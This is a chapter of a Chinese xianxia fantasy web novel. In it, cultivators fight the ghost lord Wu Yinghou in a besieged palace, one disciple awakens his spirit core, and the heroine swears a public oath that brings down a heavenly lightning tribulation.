说罢,云杳窈重新抱起刚才暂时安置在一旁的姜娆。她目光四处打量,想要在崇仙阁内找到一处能够让姜娆休憩的软榻。 邬盈侯尚不知去向,姜娆如今的状况也不容乐观。云杳窈打算把姜娆安置在阁内,在她附近暂时设下结界,然后再去找阁外众人商议邬盈侯逃脱一事。 岑无望一边帮着她设界,一边坦诚:“我只是讨要一点师妹的关心,未曾预料到师妹竟不愿正眼瞧我。我真是……” 他幽幽长叹一口气。 云杳窈收手,金色灵气还在指尖萦绕。抬眼之际,可见眼前人的风流狡黠。 岑无望见她看过来,如是感叹:“当真是落花有意,流水无情啊。” 这种含情脉脉,似笑非笑的神情让云杳窈起了一身鸡皮疙瘩,她木着脸,终于再次搭理岑无望了。 “你好肉麻。” 两人将姜娆安置妥当,又对着两个小鬼犯了难。 将他们留给姜娆,恐怕会给姜娆带来麻烦,且不说他们有吞噬母亲获取力量的天性,再者姜娆若是醒了过来,想起先前经历的种种,看见这两个小鬼,可能会更加心惊胆战。 于是,最终云杳窈与岑无望还是决定将他们带在身边,各自看管一个。 如今他们被围困王都,不知晓外面的情形,又无法向外界求援,短时间内只能将希望寄托于止戈。 云杳窈与岑无望快步向其他人的方向赶去,刚一走 出崇仙阁,便看见冲天的灵气笼罩在整座宫殿外。 远处剑光闪动,偶尔有鬼气和灵气交相冲撞的气流震荡。 飞鸟远行,王都内所有宫人都仰头望着,一见到云杳窈和岑无望走过来,便自行让开一条路来。 襄华的安危竟就这么寄托在几位少年身上,云杳窈担忧之外,还隐隐生出些期待。 即便如今陷入困境,可她仍旧没有陷入绝望,相反,她心底还有另一层盘算。 “岑无望,你觉得我们有必要继续迎战吗?” 岑无望的鬼气先行,已经将局势尽收眼底。 虽然没有突破邬盈侯的鬼军,但在阵法内,他们占据了绝对优势。 闻佩鸣与花在溪两人就能碾压在场所有恶鬼,且丝毫不见疲态,酣战不退。 岑无望以为她在担心邬盈侯逃脱一事。 邬盈侯固然狼子野心,可他也不过是别人的爪牙,幕后之人尚未露面,云杳窈的担心不无道理。 可如今也没有退路了,岑无望便安慰她:“别担心,我在你身旁,哪怕是天神下凡,我也会护在你身旁。” 云杳窈知道岑无望没开玩笑,他向来言出必行。 “我不怕。”云杳窈说,“我想的是,这次是个扬名立万的好机会。” 岑无望闻言,侧首而视,轻轻嗯了一声,有些疑惑。 雨已经停了,可风还不止,将她的声音吹散了些,可她目光如炬,分外坚定,丝毫不像是在开玩笑。 “我想了,一直躲下去,什么时候才是个尽头。乾阳宗敢明目张胆追捕我们,不过是因我们声势微弱,人微言轻。” 前世,直到云杳窈死在白雪皑皑的回雪峰上,也无人知晓,便是真有人对她的去向有疑,晏珩也能够寻到借口,以家务事打发旁人,以此杜绝外人窥探家私。 今生,岑无望被扣上杀害同门的罪名,世人不知晓内情,只知道有晏珩这个剑君做担保,断然不可能冤枉了自己的徒弟。 细数往事,他们几乎为所谓的清名所累。 云杳窈道:“天下又不是只有一条道,乾阳宗在世间独占鳌头数百年,寻常仙门宗派望尘莫及,世家修者趋之若鹜,不过是仗着有几大修仙宗族和晏珩坐镇。” “我们便是继续逃,又有哪个门派敢留下我们?若是做散修,东躲西藏一辈子,我也是不甘心、不情愿的。” 岑无望隐隐猜到她心中所想,可还是问:“你觉得,应该如何做?” 云杳窈毫不犹豫回答他:“杀。” 花在溪与闻佩鸣尚能稳住局势,便让其余人回到朝晖殿,负责排查聚集于此的宫人。 两名乾阳宗弟子和聂清光正在人群中安抚人心。两位年轻弟子心高气傲,不善言辞,正在逐个排查人群中是否混入奸细,而聂清光面目和善,负责与各宫掌事沟通善后。 云杳窈看见他们,松了一口气,将两个孩子托付给两名弟子,简单嘱托后,便往闻佩鸣与花在溪处赶。 来的凑巧,自王宫最外层的宫墙上,升起一道黑色屏障,鬼气如雾,很快就将整个王宫笼罩在阴影下。 这些鬼气不知从何而来,但可以肯定的是,它们与闻佩鸣的阵法并不冲突,且隐隐有漫过阵法,吞噬整个王宫的趋势。 不过闻佩鸣也知道,不能让这些鬼气进入朝晖殿,不然有恶鬼混进手无寸铁的宫人堆里就不妙了。 他额上生汗,指尖灵气化棋,权衡之下,将范围缩小,竭尽全力在阵法的最内侧设下点位,树立结界。 灵气不断流动,将鬼气隔绝在外。 被挡在外面的鬼气迅速将整个朝晖殿围起来。有一道犀利鬼影从中浮现,云杳窈正好撞见。 这股力量太过熟悉,确定是邬盈侯已经回来了,她想都没想便挥剑向砍向他。 然而鬼影却悄然遁入迷雾中,原本没有边界的身影伸出几只形状各异的手,将闻佩鸣与花在溪拉入阵内。 云杳窈与岑无望紧随而至,钻入迷雾。他们的身法比触手拖拽两人的速度还快,先一步抵达触手源头,杀向未能及时隐匿身形的鬼影。 鬼影散,触手断,可是邬盈侯却下落不明。 无头尸从暗处现身,似乎有意将他们分隔开来,拼尽全力,也要阻止他们几个汇合在一起。 在这么短的时间内,邬盈侯不仅能迅速重振旗鼓,其所能操纵的鬼气要比刚才在崇仙阁内还要强大。 云杳窈还不能完全确定邬盈侯是否借助了那些丝线来成事。 若她没看错,那些丝线不仅和鉴义形态相似,连能力也相仿。这才让邬盈侯能够借助旁人之力,在短时间内精益自身鬼术,并获得源源不断的鬼气。 云杳窈原本以为邬盈侯会先冲着她与岑无望动手,毕竟方才协助止戈封印鬼胎,损毁太子肉身,让他无法冠冕堂皇继承襄华江山的人是他们,现在阻挠他再度进入崇仙阁的还是他们。 邬盈侯为人睚眦必报,一定会报复他们。 果然,在云杳窈和一众恶鬼交手之时,突然感受到一股阴冷之气从身后袭来。随即,铺天盖地的鬼气从后方切入,目标明确,下手狠厉,似乎想从背后直接掏心。 好在云杳窈反应迅捷,将周围的恶鬼震开后,立刻回身以问心作挡。 不远处的陈无望见状,喉结滚动后,面纹迅速爬上苍白肌肤,他再次发动音咒。 “止步。” 可惜邬盈侯来势汹汹,且功力大增,鬼气刺向云杳窈的速度慢慢减缓,但方向并未改变。 这道音咒并未完全遏制鬼气的前行,不过对于云杳窈来说已经足够了。她顺利挡下这一击,想要借力后撤,再发动反击。 可是这道鬼气在触碰到问心剑刃的那一刻,骤然分为几股,绕过云杳窈的身体向后继续前行。 云杳窈一怔,这些鬼气已然在她后方再次凝结,并且依旧没有转变行进方向。 她猛地转身,看向了重重迷雾之中。 “小心!” 红衣白袍的少年闻声回头,额上的凤凰羽烙印在浓稠的黑暗中依旧耀眼,似一团永不熄灭的烈火。 花在溪周身有灵焰环绕,是至纯至阳之物,根本无惧鬼气近身。 这股鬼气虽强,但若能击溃,定能叫操纵鬼气之人遭到反噬,所以花在溪并未惧怕,甚至想借助鬼气踪迹,将火烧到一直不敢显露真身的邬盈侯身上。 花在溪意图逼邬盈侯现身,所以干脆张开手掌,将周身灵焰聚集在指尖,想要正面迎接。 与预想中的一样,灵焰几乎是贪婪的将送上门来的鬼气燃烧殆尽。 可是在鬼气散尽后,一道细如发丝的灵光自鬼气中窜出,无视了火焰,朝着花在溪额心的凤凰羽烙印而去。 花在溪甚至来不及反应,他甚至怀疑这道灵光仅仅是他眼花时产生的错觉。 可是一息之后,他便意识到自己大错特错。 灵光顺着最外层的烙印,一路来到凤凰羽所在的识海深处。 随机,在它接触到凤凰羽的一霎那,识海一片震荡,火焰纷飞,甚至顺着他的灵脉向四周扩散,大有自内部将花在溪焚烧殆尽的趋势。 他的血液即将沸腾,全身滚烫发红,连手中剑都拿不稳了,膝盖重重着地。 额心的红玉坠子已经被击碎了,尖利的碎石划破他的眼角,渗出丝丝鲜血。 云杳窈离得最近,见他状况不对劲,强行将鉴义塞进他识海,想要扑灭灵焰。 可是花在溪如今神志不清,几乎是在用本能反抗侵入体内的异物,他单手扶额,双目紧闭,痛苦异常。 云杳窈焦急道:“花在溪,不要抗拒,我是云杳窈,我是在救你。” 花在溪显然已经神志不清,听不见任何人的声音,也无法正常思考。 他猛地吐出一大口血来,鲜血染红他织金云纹的前襟上,洇开一团重色。 简单的治愈术法已经于事无补,为了不让花在溪立即爆体而亡,她只能在外围织网,尽可能抵挡火焰向他的各处灵脉继续输送力量。 岑无望和闻佩鸣替 他们拦下无头尸和恶鬼,不至于让云杳窈与花在溪腹背受敌。 闻佩鸣正要开口,突然后颈一凉,他瞳孔震颤,仿佛被扼住脖颈一般,动弹不得。 他咬紧牙关,拼命抵抗心中恐惧,挥扇朝身后的恶鬼斩去。 可是这近身一击却落了空,他迅速转身,边天上地下搜寻方才的恶鬼,边颤抖着声音激动道:“都小心!他来了!” 邬盈侯总算现身了,他没有再次夺舍,而是为了更纯粹的力量,直接以鬼身降临。 鬼身接近原身,邬盈侯身形高大,如一座魁梧的小山,他眉高目深,鼻子也高挺直立,然而唇却很薄,像是两片平行的纸并在了一起,几乎要看不见唇线。 在他薄如蝉翼的嘴唇上,斜着一道伤疤,几乎把人中也给斜切着一分为二。 他没有打招呼,鬼气直冲最虚弱的花在溪而去。 花在溪自顾不暇,云杳窈也犹豫了一瞬,拦下邬盈侯的第一道鬼气,她的手腕被震得有些发麻,没有立即舍弃花在溪保全自己,而是放长鉴义,单手持剑迎敌。 可是这样一来,云杳窈便只能做到防御,很难反击。 邬盈侯不着急杀他们,这几个人配合相当默契,又是在闻佩鸣所设阵法内,他先击溃了能为阵法助力的凤凰羽持有者,却并没有着急瞄准下一个人。 仿佛猫捉老鼠一般,邬盈侯毫无规律的随机发动攻击,想要寻找破绽。 他先是看向岑无望,啧啧称奇:“都做恶鬼了,放不下前尘,也舍不得道义,世上哪有既要又要的好事。” 不过他虽然是和岑无望说话,却悄然飘到云杳窈与花在溪身后,亮出尖利鬼爪,试图袭击两人。 千钧一发之际,孟裕斓与同伴赶到,没有一个字的废话,孟裕斓直接削掉他的鬼爪。 邬盈侯被阻挠,舍掉这只手,化作鬼气再度消失。 他操纵恶鬼与无头尸攻击孟裕斓等人,顺利脱身,借助迷阵飘了出来。 刚重新聚起人形,岑无望不知何时挡在他前面,皮笑肉不笑道:“借助迷阵内的鬼气隐匿自身气息和踪迹,不要以为只有你能做到这一点。” 他模仿刚才邬盈侯的那一招,同样以恶鬼的解决方式,用比剑还锋利的鬼爪贯穿邬盈侯腹部。 这一次,邬盈侯来不及逃,是真真切切挨了岑无望的一击。近身对他来说同样是个好机会,他的手几乎要挨到岑无望的连,可岑无望早有预料,侧身躲了过去。 他刚刚松懈,邬盈侯便趁机逃脱。 阵法与迷阵层层相扣,都不能奈何对方。邬盈侯借助阵法聚起恶鬼,在几次移步后,已经吞噬了好几只恶鬼。 不过这些恶鬼都是凡人死后所化,多为怨气未消滞留人间,真正凶残暴戾的没有几个。 于邬盈侯来说,几乎是杯水车薪。他伤口未曾愈合,一边拽动身后丝线一边往内庭深处逃去。 岑无望没有穷追不舍。在鬼气迷雾中,邬盈侯的行动比他们方便太多。 邬盈侯做鬼比做人时更加狡猾,说不定是借机会分散他们,好逐个击破。 他回到云杳窈身边,看见诸位弟子已经盘坐在花在溪身后,为他输送灵气。 云杳窈蹙眉,面目凝重,正沉思着。 “他情况如何?”岑无望询问。 云杳窈收手,却没有断开鉴义与花在溪的联系。 “性命无虞,但……”云杳窈牵动鉴义一线,似乎在寻找着什么东西的踪迹。 “事有蹊跷,那东西钻入花在溪体内后,还能将它揪出来吗?”岑无望对于鬼气更加敏锐,既然能第一时间感知到那缕被鬼气掩盖的灵光不同寻常。 云杳窈无奈道:“已经找不到了。它可能只是个用来引爆凤凰羽的引子,如果使用者不再次使用出来,别说直接找到原型,就是拼凑也很难拼凑出一个相似的出来。” 无他,只因那东西现身的时间太短暂,众人都没反应过来,它就已经钻入花在溪识海。 “还有另外一处疑点。”云杳窈说,“方才花在溪的识海已经几近崩溃,可是自识海深处的灵核突然焕发出生机,帮助我一起压制了凤凰羽产生的灵焰。” 灵核潜伏在修士的识海深处,与神魂相连,几乎是修士所有力量的源头。因各人的修炼功法不同,甚至心性各异,灵核也有不同的形态。 多数时候,灵核都是一块看不清楚的形状的团状物,只有抵达无灭境界后期,才有可能看见自己灵核的原初形态。 有了灵核相助,此后的修炼也会事半功倍。 按理说,唤醒灵核的条件极为苛刻,寻常修士都会找到一处灵力充沛的僻静之地,专心去唤醒灵核,断然不可能在昏迷中唤醒它。 “假使花在溪真的是万里挑一的天才,灵核感受到主人危在旦夕,自己突破后钻了出来。” 刚说完,云杳窈又否定了刚说出去的猜想。 “不对啊,那股灵气,分明不属于他,更不属于灵核本身,而是潜伏在他体内的,一道附着在体内最后关隘的魂力。” 岑无望也蹲下身去,捏住花在溪手腕处的脉搏,良久,他沉声道:“不管是何种奇遇,都是花在溪自身的造化。” 云杳窈见他不慌不忙,稳重镇定的模样,还以为他窥探到什么秘密:“你探出些什么了吗?” 岑无望淡然回她:“没有。” 云杳窈语塞,她扁扁嘴,道:“那你还说什么废话。” 岑无望挑眉:“我久病身弱,可没有闲心再关心旁人。” 他话锋一转:“不过你放心,这凤凰羽及时被扑灭,既没有伤害他的经络,还淬炼了他的肉身,如今他不过刚到无灭境界,灵核就提前显现,识海自我修复是迟早的事。更何况,有怀璞长老与定渊长老在,还有他在问鼎峰的一群师兄弟在,轮不到咱们替他疗愈识海。” 岑无望的意思,是让云杳窈保存灵力,好应付接下来的状况。 云杳窈正有此意,她刚掐断鉴义,原本昏迷的花在溪悠悠转醒。 花在溪是从一阵剧烈的头痛中醒过来的,刚睁眼就看见云杳窈在他身侧,手上还有几段他从未见过的红线痕迹。 而那些线似乎有生命,在她截断后,迅速钻回自己主人的手腕。 花在溪隐约能感受到,这些线似乎刚才一直在帮他压制识海内灵焰。 他没忍住扣住云杳窈的手腕:“师妹。” 体内灵气达到了前所未有的充沛状态,但身体尚未适应,有种头重脚轻的不适感。 他说话和动作太急,体内气血和灵力再次加快运行,让他不由自主向一旁倒去。 差点就倒在云杳窈肩头。 幸好有热心的闻佩鸣在后头帮衬着,他眼疾手快,伸出扇子扶住花在溪的脑袋。 他关切道:“脑袋坏了吗?怎么至朝着人砸啊,还好有我在。” 闻佩鸣叹了口气,还没上手去查看,花在溪已经摇了摇头,由着身后的孟裕斓将自己扶起来。 他站定后,稳了稳心神,发觉自己的境界不退反进,诧异之外,更多的还是惊喜。 越往后修炼,境界便越难精进,他这回虽然凶险,却阴差阳错之下觉醒了灵核,这简直是天上掉馅饼的便宜事。 花在溪抱拳,一扫疲态,略微有些兴奋。 “感谢诸位师弟师妹竭力相助,救我于危难之际,花在溪感激不尽。” 孟裕斓等人比他还激动,他们还是第一次亲眼见证别人开启灵核的过程。更何况,花在溪在同辈弟子中素有美名,门中素来传言,他会定渊长老衣钵,成为下一任问鼎峰峰主。 花在溪为人大方慷慨,过后必有好处。说不定经此一事,他们也能跟着沾沾光。 几个师兄弟一扫阴霾,互相恭维了一番。 云杳窈觉得自己已经不是乾阳宗的人了,所以忽略了花在溪的话。 花在溪是救了回来,但邬盈侯尚未除掉,说不准在哪个角落吸纳鬼气,计划着卷土重来。 这次有惊无险,下次可就不一定了。 迷雾未散 ,几人商量了一番,花在溪做主,决定重回朝晖殿,先暂时休整一番,再思量接下来如何揪出邬盈侯。 留在迷雾内还要警惕随时可能出现的无头尸和恶鬼,甚至是神出鬼的邬盈侯,所以无人有异议。 众人在崇仙阁内休整了一番,云杳窈三人身着的衣衫不过是寻常布匹,很难不被剑气和鬼爪所伤,他们各自换了衣衫,再根据受伤情况互相掏出锦囊宝袋里的药医治。 云杳窈伤情不重,外伤几乎没有,她看着宫人送过来的窄袖锦袍,罕见的指定了款式和颜色让宫人尽量找来。 待更换完衣裳,在崇仙阁内与众人一起调息疗愈后,云杳窈起身离开。 “我去看看姜娆和两个小鬼。” 聂清关早就派了已经排除内鬼嫌疑的几位宫人和医官在姜娆身侧伺候。 云杳窈看她仍在沉睡,没有多作打扰,一言不发,静坐一会儿便默默走了出去。 她刚踏过门槛,看见岑无望就这么在外等候,长身玉立,乌鬓浸漆,着一身利落的玄色窄袖长袍,依旧将那块能够压制禁制的方巾戴在颈前,墨发高高拢成马尾,被淡紫色发带竖起。 巧的是,云杳窈身上衣服正好是紫色,被最外层的雪青色纱制轻衣笼罩着,朦胧间仍可辨认出,他佩戴的那根发带,与衣料纹路如出一辙。 云杳窈与他静静对视,两人相顾无言,就这么在廊下立着。 微风拂过她的轻纱外衣,两人的衣摆交织在一起,明明谁都没有靠近,却好似已经被风推着靠近。 这是几天来,云杳窈难得觉得放松的时刻。她享受了一会儿无人打扰的静谧,而后主动开口:“岑无望,你觉得我之前所说的,有几分可靠?” 岑无望不假思索:“三分。” 想以名声震慑乾阳宗,怎么看都不大可能。更何况,晏珩可不是好说话的主。 你与他讲道理,他跟你论实力。你和他动刀剑,他不仅要压人一头,还会惺惺作态,事后假意宽恕你。 三分已经是高估了。 云杳窈也知道他心中所想,可如今,他们已经被架在火上烤。现在情况危机,有邬盈侯在,花在溪尚且与他们是同一条船上的蚂蚱。但是邬盈侯一旦被彻底铲除,花在溪很有可能会坚持此前想法,将他们直接带回乾阳宗,即便她好岑无望能够顺利逃脱,但花在溪只要将他们的方位广而告之,他们也难逃后续追捕。 所以云杳窈斟酌着将心中所想说了出来:“我有一个办法,能够一箭双雕,既能解决邬盈侯这个燃眉之急,又能暂缓你我困境。” 岑无望静待她继续往下说,但云杳窈突然止住,她张口欲言,突然泄了气,反问他:“你会信我吗?会一直相信我,无条件支持我的决定吗?” 岑无望看着她不安转动的眼神,轻轻捏了捏她脸颊软肉:“无论何时,我都会全然信任你的一切选择。” 他轻笑一声,似乎前方根本不是关乎生死的大事,道:“我若瞻前顾后,当初就不会跟随你出万鬼窟。” 其实当初他压根没准备好,被云杳窈猛地一巴掌扇懵了,不敢有异议,才闷头逃了出来。 但这些都不重要,在岑无望心里,这些无伤大雅的小事,哪有她现在的心情重要? 云杳窈也觉得哪里不对劲,但她还是有点感动,也不计较那只胡作非为的手了,搂着岑无望的腰,将脸埋进他胸口。 深深吸了一口气后,云杳窈才觉得自己的底气足了些。 “那接下来,无论我做什么,你都不要管,也不要阻止我,让我试一试,好不好?” 根据岑无望过往经验,云杳窈卖乖一定事出反常,他已经吃过很多次亏,刚想改口:“这个嘛……” 云杳窈一手捂住他的嘴,手脚并用搂住岑无望,把他往后推了几步后仍不罢休。 “我不管!”她死皮赖脸缠着岑无望,“你说过要支持我,要帮我的,怎么能突然改口?你要是敢反悔,那我就不松开,闷死你好了,烦死你算了。” 这种几近娇蛮任性的撒娇方式,岑无望并不讨厌,他单手稳住云杳窈,给她后腰处一个支撑点,任由她在自己这里撒野。 “不敢不敢。”岑无望连连认输,他的唇被云杳窈的手压制,所以说话有点模糊,不过并不影响他们交流。 “我怎么敢违背杳窈大王的心意?”岑无望道。 他单手抱着云杳窈,用空闲的另外一只手勾过云杳窈的小指。 “我记着呢,天大地大,杳窈最大。”岑无望轻轻晃了晃两人的手。 云杳窈仰头,看见他唇边笑意不减,遂紧紧缠了上去,不服输似的使劲将他的手拉到自己能轻易掌控的高度。 她皱着鼻子,轻哼一声:“算你识相。” 得到准确答复,云杳窈挣脱岑无望的怀抱,提着裙子就往外跑。 岑无望看着宽大纱袖随风飞舞,好似一直振翅待飞的蝴蝶。 只是这只蝴蝶实在可恶,丝毫没有想起来自己方才刚刚做了什么,坦然飞走,落在白玉阶下才想起回头看一看。 雪青色的素纱双袖垂顺落下,云杳窈冲岑无望招招手:“快点。” 岑无望仍是信步慢走,她只好回到方才刚走过的廊柱下,说:“哎呀,慢死啦。岑无望,你怎么这么慢啊。” 或许正是应了近墨者黑的道理,她如今也沾染了岑无望的一些坏习惯,反问他:“为什么走这么慢,是故意的吗?” 接着,也不管岑无望听到后有什么表情,有没有不适应,直接抄起岑无望的手,招呼也不打,就这么牵着他,半拖半拽让他紧跟在自己身后。 “算啦。”云杳窈宽宏大量,“我大人有大量,自然不会同你计较,就纵你这一回吧。” 岑无望难得无话可说,她的话匣子就打开了。 “但是咱们可要说好了。做人是要有限度的,你可不能恃宠而骄。” 待穿过后院,往前院去,人便逐渐多了起来。 云杳窈有点不好意思,自以为坦然的悄悄松开了手上力道,想要让岑无望自己把手收回去。 手中刚变空,云杳窈便要将手臂收回身侧。 岂料岑无望很快追了上来,站在她身侧,将她的手重新包回自己的掌心。 云杳窈暗自环视一周,周遭宫人纷纷侧身垂首,一副眼观鼻鼻观心的模样,无人窃窃私语。 到底是真没看出什么,还是假装没看见,那就不知道了。 云杳窈暗暗使劲,想要甩开岑无望。 可是这人实在讨厌,反客为主道:“我可不止要恃宠而骄,我还要三千宠爱集于我一人,还要从此君王不……” 声音戛然而止,云杳窈及时堵住岑无望的嘴,碎碎念:“非礼勿言,非礼勿言,非礼勿言……” 她看了看两侧的宫人,发现有些年纪小的侍女果然忍不住笑了,还偷偷往这边瞄了几眼。 云杳窈硬着头皮往前走,这朝晖殿如今少有僻静之处,她害怕岑无望又说出些惊世骇俗的话,只能任由他牵着。 “生气了?”岑无望欠身凑到云杳窈耳边问。 半天等不到回应,岑无望继续说:“那就是杳窈脸皮薄,不好意思了。” 云杳窈将他脑袋推开,矢口否认:“才没有。” 两人一路吵到前院,发现闻佩鸣和花在溪等人已经重新回到阵前,原本留在朝晖殿内的孟裕斓也一同过来了。云杳窈看先他时,他主动解释:“花师兄识海受损,如今能使出来的功力不过半数,宫人们都清点的差不多了,我在花师兄身旁,也能和他有个照应。” 云杳窈并无异议,她观镇内局势并不算紧迫,无论是无头尸没少见,恶鬼倒是比先前要少一些,而且多数的鬼气都很微弱,即便是进入阵法内,还没走到内层,便被闻佩鸣消灭掉了。 如果云杳窈猜的没错,那些消失的恶鬼应该都被邬盈侯所吞噬。止戈很快就会到,他如今应该正在想尽一切办法增强力量,好在外面有人增援前,剿灭朝晖殿内所有人。 届时, 他便能带着鬼胎逃走,避开宗门与世家的围剿。 闻佩鸣注意到身后动静,他打了个哈欠,挥手落子时又除掉几只落入阵法陷阱的恶鬼。 有了先前的经验,这回闻佩鸣知道该注意什么了。 他让聂清光给自己搬了张带软垫的轻便椅子。 闻佩鸣用扇子抵着头,在扇骨后侧用中指悄悄揉着太阳穴。 没办法,针法对他的精力和灵气消耗极大,花在溪已经无力帮他输送灵焰,他只能空耗自己的灵力。邬盈侯杀不掉,这些无头尸和恶鬼便会源源不断往这边来,偏偏他们暂时还奈何不了这厮。 闻佩鸣叹了口气:“师姐你总算来了,过来坐。” 他拍了拍身侧,邀请云杳窈同坐。 云杳窈拒绝道:“不了,还是你坐着吧。” 不过她还是看出闻佩鸣略带勉强的笑容,以及眼底掩饰不住的疲倦,道:“辛苦了。” 闻佩鸣一愣,将扇子移开。 “确实辛苦。”他承认,并且坦然将自己的情况告知众人,“我最多再坚持一个时辰,邬盈侯此前已经借迷雾摸清了阵法结构,这些无头尸单只不足为据,但若是一直朝着这几个点位攻击,恐怕阵法不能再坚持多久。” 他说罢,垂眼挽尊:“别怪我。我也是第一次运用这个阵法,尚有不足之处,能坚持到现在,已经是我尽力修补了。” 阵法运行后,一般是不能在原基础上增删修改的,否则很容易出现差错。 闻佩鸣有心修补那些原本就被他遗漏的缺陷,却根本无力支撑阵法所需要消耗的灵气。 意料之中的叹息声传来,意料之外的安慰也紧接着过来了。 云杳窈按下他再度抬起的手腕,道:“我知道你已经尽力了,没有人会怪你。闻佩鸣,你真的是阵修奇才,或许当初,你就不应该到乾阳宗拜师,差点就要耽误你这一身本事了。” 闻佩鸣这辈子不缺在旁拍马屁的,那些恭维他的话,他都要听得耳朵起茧子了。 可那些人都是在不断夸耀他照渊阁少主的身份,夸耀他南荒掌权人的权力与地位。 还是第一次有人说他是阵法奇才。 闻佩鸣强壮镇定,因为多度消耗灵气,所以耳根子发热。 “不过是些旁门左道,我想用,便能信手拈来。” 云杳窈知道他最面子,不过这次,真的不需要他再继续维系阵法了。 因为她决定彻底解决掉邬盈侯这个祸害。 云杳窈足下轻点,凌空缓缓拔剑,问心出鞘便能聚起四周灵气,剑光凛冽,浩荡斩向聚集在阵内的几只恶鬼。 恶鬼被剑气斩杀,发出凄厉尖叫,声震四方。 可剑气未曾消散,威力不减,继续向阵外扩散。目之所及,恶鬼消散。 云杳窈身轻如燕,翩然落在阵法上空。 天地寂静,不只是恶鬼,所有人都被她这蓄力挥出的一剑所震慑。 花在溪和闻佩鸣有了真正喘息的机会。朝晖殿的宫人目光紧随着云杳窈,他们都看到了方才那震天撼地的一剑。 剑气余波振开云层,厚重的黑云被劈开一条望不到尽头的线。 今日的第一缕阳光倾洒而下,虽轻衣素袍在身,但灿阳毫不吝啬的为她披上一层耀眼的金光,如神明偏爱,独独为她赐下了吉服一般。 远远望去,纵有数人围绕在侧,她仍旧是最引人注目的那个。 宫人中一片寂静,不知是谁突然感叹:“这位仙子,当真是霞姿月韵之风貌,琨玉秋霜之秉性。” 襄华会成为她名扬天下的起点,剑君又如何,他能有万鬼窟前封印万鬼的功绩,她亦能斩杀恶鬼,护佑天下安宁。 所有襄华子民都会是她的见证者。 既然身负千年前的罪孽,怎么做都逃不过天道惩戒,不如将野心和盛名留于此世。 云杳窈要青史留名,要堂堂正正行于人间。 她横起剑身,与剑上照映出的自己对视。这双鎏金似的双瞳正燃烧着点点星火,威中带慈,她开口,以灵气传音于整座王宫。 “邬盈侯狼子野心,驱使恶鬼残害无辜。我欲济世救民,平天下动荡,碧血丹心,天地为鉴。” “天道在上,我云杳窈在此立誓,愿斩尽邪祟,护佑世间安宁。” “世间多有不平事,今日我携神剑问心而来,愿天下闻我铮铮剑鸣,见我道心,不灭邪祟不罢休!” 修者最忌讳随意立下誓言,更何况,云杳窈是在众目睽睽之下与天道对赌,以誓愿剖析道心。 若是哪一日有违今日誓言,轻则走火入魔,重则身死道消,神魂俱灭。 邬盈侯这一路屠城养鬼,甚至献祭自身,只为了获取更强大的鬼术。天道未能立即降下神罚,一是他有天隐石与幕后之人相助,二是平定这场祸事虽然凶险,但同时也是机遇一桩。 如果要在世间扬名,要那些天庭众仙,甚至天道都不得不承认她的功绩,现在便是最好的时机。 只是此举太过冒险,闻佩鸣和花在溪未曾预料到她会这般行事,皆愣在原地。 而且,作为修道之人,他们已经听出来,云杳窈誓言当中的不对劲。 除掉邬盈侯这个恶鬼尚且艰难,云杳窈说的可是斩尽天下邪祟。 什么是邪祟?有害人之心,沾染了因果报应的离奇鬼怪,山野精怪皆可称之为邪祟,如邬盈侯这般不择手段之人,即便没有抛弃肉身,亦可称之为邪。 世间多有不平事,不灭邪祟不罢休。 说来容易,其实难于飞升。 花在溪看见四周灵光开始向云杳窈身上聚集,那些天光织成的灵丝开始迅速涌入她体内,刹那便将方才损耗的灵气补足,甚至还绰绰有余。 万民心之所向,再加上姜氏一族久久不能平息的怨气,终于,晴空中传来一声霹雳巨响,雷光硬生生劈在了王宫内庭的一座宫殿处,紧接着,天际雷云滚滚,在朝晖殿上空聚集成团,龙啸凤鸣,天降雷声,此为渡劫升境之异象。 但按照这雷劫酝酿出的气势,可不像是他们中的某一个能够修成的造化。 闻佩鸣迅速后退,警告众人:“小心。” 花在溪与岑无望想要共同助她抵挡这一道雷击,却见她飘然与众人拉开距离。 修道渡劫凶险万分,低阶修士可能一辈子都不曾亲身经历雷劫,更遑论跨境跃升。云杳窈即便自身灵气充盈,又有问心在手,可实力不过刚抵达韵灵境界,要想以一己之力渡过难关,其凶险可想而知。 天道认可了云杳窈的行为和誓言,可不代表着能够在渡劫一事上放她一马。 雷劫之下众生平等,就算是蚂蚁,想要飞升,必须挨够几次雷劫才算作数。 至于雷劫过后焉有命在,天道不关心,更不在乎。 两种雷光齐齐落下,照亮这污浊世间,劈开萦绕在襄华王宫的鬼气,打得邬盈侯无所遁形。 同时,也让云杳窈心惊胆战。 花在溪想要跟上去,被岑无望拦下,他横眉冷目:“什么意思,你要看着云师妹去死吗?” 岑无望只会比他更加担忧,但他明白云杳窈的意思。 有些命中劫数纯属上天作弄,根本没有必要,有些磨练却只有在经历过后,才能让自己变得更加强大。 “不。”岑无望说,“我不是放任她送死,我是相信她有能力回来。” 就如同千年前的约定一般,她说聚散有时,终有重逢的那日,那无论沧海桑田,世事变迁,他都等得起,他都愿意去等。 岑无望忍不住看向那个越来越远的身影,坚定道:“她有这个能力,我相信她。” 花在溪看着岑无望佯装镇定,却依旧坚决挡在他身前,不知该如何是好。 他很清楚,如今伤势未愈的他很难帮上云杳窈什么。他连岑无望都越不过去。只能眼睁睁看着雷劫降下。 花在溪看着岑无望,讲最后的希望寄托在他身上。 然而尽管岑无望目不转睛望向远处,但他依旧信守承诺,寸步不移。拦下每一个跃跃欲试,实则在雷劫前不堪一击的人。 花在溪在这两个人身上,看到了同样的坚毅,也看到了同样的疯狂。 他第一次对曾经并肩作战的同门产生畏惧。这种畏惧是对他们所行之事的困惑,更是源自于这两人之间,超脱人修极限的默契与信任。 半晌,花在溪喃喃自语,终于为这两个人找到一个合适的词:“疯子。” 乌云中电闪雷鸣,蠢蠢欲动。 每一道雷光都比上一次更加强大 ,云杳窈一边躲避,一边远离朝晖殿,不断朝着另一处雷击的地方奔去。 邬盈侯的身体已经不知道被击散过多少次,他可以感受出,每一次重聚,他的力量都在大幅削弱。 再这么劈下去,他很快就会没命。 “不行,坚决不行!”邬盈侯惊恐道,“我要活着,我必须活着,我不想死,我真的不想死,我也不能死……大人,大人!大人快救我!” 他还没有享受到自己胜利的成果。姜氏已经没有人了,只剩下一个姜娆,还有两个人不人鬼不鬼的孩子。只要他能逃过天罚,就能挟天子以令诸侯,做个实权摄政王。 到时候,姜娆就算不情愿也没办法,毕竟连姜氏的太子都死在他手里,唯一身负帝王气运的后人还是他的孩子。 一想到这里,即便魂魄剧痛,情况凶险万分,伏在被雷火烧焦的深坑里难以行动,邬盈侯还是忍不住笑了起来。 第82章 